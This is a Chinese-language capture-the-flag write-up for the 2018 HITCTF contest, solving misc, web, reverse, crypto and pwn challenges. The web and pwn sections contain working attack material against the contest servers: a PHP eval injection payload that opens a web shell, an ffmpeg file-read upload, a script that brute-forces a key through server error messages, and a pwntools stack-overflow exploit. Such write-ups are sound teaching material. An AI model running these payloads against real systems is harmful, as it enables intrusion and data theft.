2018HITCTF-WriteUp

哈工大的校赛,抽了两个下午打了几个小时,还是菜了2333。记录一下。

MISC

BaSO4

压缩包中有两个文件,一个pyc和一个编码过后的flag文件。pyc反编译得到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
import base64
import random
import os
import sys
with open('flag.txt', 'r') as file:
flag = file.read()
for i in range(0, 20):
if random.randint(0, 1):
flag = base64.b64encode(flag)
continue
flag = base64.b32encode(flag)
with open('flag_encode.txt', 'w') as file:
file.write(flag)

编码20次,每次随机base32或base64。根据每次结果含不含小写字母即可判断编码类型,进行解密,python的base64库因为补位的等于号数量会报错,懒得补了直接cyberchef拖几次得到flag

攻击流量分析

wireshark打开后过滤http肉眼即可看到明显异常的数据,第一个文件名base64解码后为index.php,第二个为flag.txt。 于是把第二个的response内容进行gzuncompress得到flag

use_your_ida

这道题就非常有意思了,提供了一个超大的elf文件,ida打开后发现基本上都是没什么用的代码,只有输出一个小白羊的代码有用。

经过一番查找发现这是defcon23中写M/o/Vfuscator的大佬的其他小玩意,传送门 利用了ida的流程图传递信息,由于ida默认图形显示在函数太大时关闭,调整这个限制的大小(默认为1000)

随后看图即可得到flag

键盘流量分析

数据包中有usb键盘和鼠标的数据,先利用tshark提取数据

tshark -r keyboard.pcap -T fields -e usb.capdata > usbdata.txt

然后利用python脚本解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
mappings = {
0x04:"a",
0x05:"b",
0x06:"c",
0x07:"d",
0x08:"e",
0x09:"f",
0x0A:"g",
0x0B:"h",
0x0C:"i",
0x0D:"j",
0x0E:"k",
0x0F:"l",
0x10:"m",
0x11:"n",
0x12:"o",
0x13:"p",
0x14:"q",
0x15:"r",
0x16:"s",
0x17:"t",
0x18:"u",
0x19:"v",
0x1A:"w",
0x1B:"x",
0x1C:"y",
0x1D:"z",
0x1E:"1",
0x1F:"2",
0x20:"3",
0x21:"4",
0x22:"5",
0x23:"6",
0x24:"7",
0x25:"8",
0x26:"9",
0x27:"0",
0x28:"\n",
0x2C:" ",
0x2D:"-",
0x2E:"=",
0x2F:"[",
0x30:"]",
0x34:"A",
0x35:"B",
0x36:"C",
0x37:"D",
0x38:"E",
0x39:"F",
0x3A:"G",
0x3B:"H",
0x3C:"I",
0x3D:"J",
0x3E:"K",
0x3F:"L",
0x40:"M",
0x41:"N",
0x42:"O",
0x43:"P",
0x44:"Q",
0x45:"R",
0x46:"S",
0x47:"T",
0x48:"U",
0x49:"V",
0x4A:"W",
0x4B:"X",
0x4C:"Y",
0x4D:"Z",
0x4E:"!",
0x4F:"@",
0x50:"#",
0x51:"$",
0x52:"%",
0x53:"^",
0x54:"&",
0x55:"*",
0x56:"(",
0x57:")",
0x58:"\n",
0x5C:" ",
0x5D:"_",
0x5E:"+",
0x5F:"{",
0x60:"}"
}
nums = []
keys = open('usbdata.txt')
for line in keys:
#if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
if len(line)!=24:
continue
if line[1]=='2':
nums.append(int(line[6:8],16)+0x30)
else:
nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print 'output :n' + output

忽略长度较短的鼠标数据。因为大小写所以判断一下shift状态,得到的结果稍微处理下得到flag

WEB

PHPreading

访问index.php.bak得到源码

base64解码得到

1
$flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){die($flag);}die('emmmm');

按要求构造请求得到flag

BabyEval

浏览源代码发现提示。利用花括号和美元符执行代码,两层来绕过addslashes,${eval(...)}让php认为里面为变量名所以不进行过滤,而再加一层又成为了字符串。因为过滤了引号,为了方便通过另一个参数传递命令http://120.24.215.80:10013/index.php?str=${${eval($_POST[c])}&c=,蚁剑连接,在根目录下找到flag文件。

小电影

ffmpeg任意文件读取漏洞,主页源码中提示了flag文件地址,利用POC脚本构造avi文件上传

下载得到flag

SecurePY

找到了原题大佬的题解,传送门

python3中__pycache__存放编译好的pyc文件,访问manage.py发现403,于是访问http://123.206.83.157:8000/__pycache__/app.cpython-35.pyc

下载到app文件,查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
from flask import Flask, request, jsonify, render_template
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import os
app = Flask(__name__)
flag_key = os.environ['KEY']
flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'
def index():
return render_template('index.html', flag_enc = flag_enc)
index = app.route('/')(index)
def getflag():
req = request.json
if not req:
return jsonify(result = False)
if None not in req:
return jsonify(result = False)
key = None['key']
if len(key) != len(flag_key):
return jsonify(result = False)
for (x, y) in zip(key, flag_key):
if ord(x) ^ ord(y):
return jsonify(result = False)
cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000')
plain_text = cryptor.decrypt(a2b_hex(flag_enc))
flag = plain_text.decode('utf-8').strip()
return jsonify(result = True, flag = flag)
getflag = app.route('/getflag', methods = [
'POST'])(getflag)
if __name__ == '__main__':
app.run()

由于其在判断两key是否相等时通过异或来对比,异或遇到null会报错,而输入又没有做过检测,所以可以通过报错来检测长度和爆破每位key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import json
url = "http://123.206.83.157:8000/getflag"
header = {'Content-Type': 'application/json;charset=UTF-8'}
aList = ["null"]
keylist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
key = ''
while True:
data = {'key':aList}
re = requests.post(url, data=json.dumps(data),headers=header)
if '500' in re.content:
break
else:
aList.append("null")
print len(aList)
for i in range(len(aList)):
for k in keylist:
aList[i] = k
data = {'key':aList}
re = requests.post(url, data=json.dumps(data),headers=header)
if '500' in re.content:
key += k
print key
break

REVERSE

Baby Android

jeb打开,发现两个字符串异或,得到flag

1
2
3
4
5
a = "#$%$#!&#^_^~(:p@_*#######"
b = "kmqgwg]Tm3=NE_/4ouKJW@WE^"
for i in range(len(a)):
print(chr(ord(a[i])^ord(b[i])),end="")

网管的麒麟臂

给了c文件和反汇编的结果,估计之前是个pwn题改编的,直接看asm文件就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)

调用了key1 key2 key3然后将三个返回值相加与输入对比。三个key两个纠结于pc,一般来讲pc应该指向下一个指令,但由于流水线(pipeline)导致其应该指向正在取址的指令也就是下下条指令而不是正在译码的下一条指令。 其中key1返回值为mov语句执行时的pc,也就是下下条指令地址0x00008ce4;key2切换为thumb指令集再执行也先取了pc值也就是0x00008d08,再加上4得到0x00008d0c;key3返回lr也就是key3函数返回地址0x00008d80,相加得到flag

学习资料的密码

将encrypt.exe用ida打开,F5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
_BYTE *__cdecl basen(char *a1)
{
int v1; // eax
int v2; // ST2C_4
int v3; // eax
int v4; // eax
int v5; // eax
int v6; // eax
int v7; // eax
int v8; // eax
int v9; // eax
int v10; // ST2C_4
int v11; // eax
int v12; // ecx
int v13; // eax
int v14; // ST2C_4
int v15; // eax
int v16; // eax
int v17; // eax
signed int v19; // [esp+20h] [ebp-18h]
_BYTE *v20; // [esp+24h] [ebp-14h]
int i; // [esp+28h] [ebp-10h]
int v22; // [esp+2Ch] [ebp-Ch]
int v23; // [esp+2Ch] [ebp-Ch]
v19 = strlen(a1);
v20 = calloc(1u, 8 * (v19 / 3 + 1));
v22 = 0;
for ( i = 0; i < v19 - v19 % 3; i += 3 )
{
v1 = v22;
v2 = v22 + 1;
v20[v1] = chart[(a1[i] >> 5) & 7];
v3 = v2++;
v20[v3] = chart[(a1[i] >> 2) & 7];
v4 = v2++;
v20[v4] = chart[2 * a1[i] & 6 | (a1[i + 1] >> 7) & 1];
v5 = v2++;
v20[v5] = chart[(a1[i + 1] >> 4) & 7];
v6 = v2++;
v20[v6] = chart[(a1[i + 1] >> 1) & 7];
v7 = v2++;
v20[v7] = chart[4 * a1[i + 1] & 4 | (a1[i + 2] >> 6) & 3];
v20[v2] = chart[(a1[i + 2] >> 3) & 7];
v8 = v2 + 1;
v22 = v2 + 2;
v20[v8] = chart[a1[i + 2] & 7];
}
if ( v19 % 3 )
{
if ( v19 % 3 == 1 )
{
v9 = v22;
v10 = v22 + 1;
v20[v9] = chart[(a1[v19 - 1] >> 5) & 7];
v20[v10] = chart[(a1[v19 - 1] >> 2) & 7];
v11 = v10 + 1;
v23 = v10 + 2;
v12 = 2 * a1[v19 - 1] & 6;
}
else
{
v13 = v22;
v14 = v22 + 1;
v20[v13] = chart[a1[v19 - 2] >> 5];
v15 = v14++;
v20[v15] = chart[(a1[v19 - 2] >> 2) & 7];
v16 = v14++;
v20[v16] = chart[2 * a1[v19 - 2] & 6 | (a1[v19 - 1] >> 7) & 1];
v17 = v14++;
v20[v17] = chart[(a1[v19 - 1] >> 4) & 7];
v20[v14] = chart[(a1[v19 - 1] >> 1) & 7];
v11 = v14 + 1;
v23 = v14 + 2;
v12 = 4 * a1[v19 - 1] & 4;
}
v20[v11] = chart[v12];
v20[v23] = 0;
}
else
{
v20[v22] = 0;
}
return v20;
}

可以看出basen函数每三位一组,也就是base8,再看chart

写脚本还原为二进制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from collections import Counter
f = open("encrypt","r")
a = f.read()
basechart = "W3lc0me!"
cnt = Counter()
r = []
for i in a:
cnt[i] += 1
r.append(basechart.index(i))
b = ["{:0>3s}".format(bin(i)[2:]) for i in r]
b = "".join(b)
print(b)

即为flag

CRYPTO

单表代替

一堆俄文字母,其中可以发现标点符号和数字应该是没有替换的。由提示得到原文应为英文。根据常见英文词以及字频可以发现长得像epy的是the,同样可以看到年份前的in,一步步替换,最终得到差不多的全文,是《飘》的英文简介,维基百科查到原文,将部分未替换的出现次数较少的字母替换掉,得到flag

多表代替

多表替代,维吉尼亚密码,在线解密 ,出乎意料的没出问题,得到flag。

EASY_XOR

题目既给了明文也给了密文,提示其实并不需要,直接尝试cribdrag

密文输入,将明文一段当作crib得到key

PWN

stackoverflow

vuln中通过输入覆盖返回地址到程序内置flag函数

此函数需要check两个参数,同样覆盖对应地址,得到flag

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#s = process("./stackoverflow")
s = remote("111.230.132.82","40000")
s.recv()
getflag = 0x80485df
a1 = 0xDEADBEEF
a2 = 0xC0FFEE
s.sendline("a"*44+p32(getflag)+"a"*4+p32(a1)+p32(a2))
s.interactive()

总结

本来没注意到这个比赛,这校赛的质量是我们学校可望不可及的啊。不少题都挺有意思的比如杂项中的use_your_ida,我这个菜鸡也终于算是个业余pwn手比赛里做出来道pwn - -.